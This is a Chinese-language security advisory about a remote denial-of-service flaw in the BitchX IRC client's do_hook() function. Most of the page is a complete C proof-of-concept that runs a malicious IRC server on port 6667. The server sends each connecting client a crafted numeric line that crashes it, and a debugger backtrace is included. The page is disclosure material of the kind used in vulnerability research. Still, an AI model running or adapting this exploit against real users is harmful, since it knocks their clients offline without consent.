首页 -> 安全研究

安全研究

安全漏洞
BitchX BX_Do_Hook远程拒绝服务漏洞

发布日期:2006-06-24
更新日期:2006-06-24

受影响系统:
BitchX IRC Client <= 1.1-final
描述:
BUGTRAQ  ID: 18634

BitchX是一个IRC的客户端,几乎能在所有的UNIX操作系统和Win95/NT和OS/2上运行。

BitchX的do_hook()函数中存在边界条件错误,如果用户受骗连接到了恶意的IRC服务器的话,就会导致客户端崩溃。

<*来源:Federico L. Bossi Bonin (fbossi@netcomm.com.ar
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS
/////////////////////////////////////////////////////////////////////////
// Federico L. Bossi Bonin
// fbossi<at>netcomm<dot>com<dot>ar


// #0  0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 "%s %s") at hook.c:865
// #1  0x080d013b in numbered_command (from=0xbfbfe031 'A' <repeats 200 times>,
// comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413
// #2  0x080d7d02 in parse_server (orig_line=0xbfbfe030 ":", 'A' <repeats 199 times>...) at parse.c:1912
// #3  0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584
// #4  0x080b030f in BX_io (what=0x810b85a "main") at irc.c:1319
// #5  0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687
// #6  0x0804aec2 in ___start ()

//greats to nitr0us, beck, gruba, samelat, ran, etc..

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 6667
#define LEN 100

int intalign=-999; //use negative number

void sendbuff(int sock) {
char ptr[LEN];
char buffer[2048];
bzero(ptr,LEN);
bzero(buffer,2048);
memset(ptr,0x41,sizeof(ptr)-1);
sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr);
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) {
perror("error socket()");
exit(1);
}
    
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}


printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n");
printf("====================================================================\n");
printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
}
return 0;
}

// milw0rm.com [2006-06-24]

建议:
厂商补丁:

BitchX
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.bitchx.org/

浏览次数:2735
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障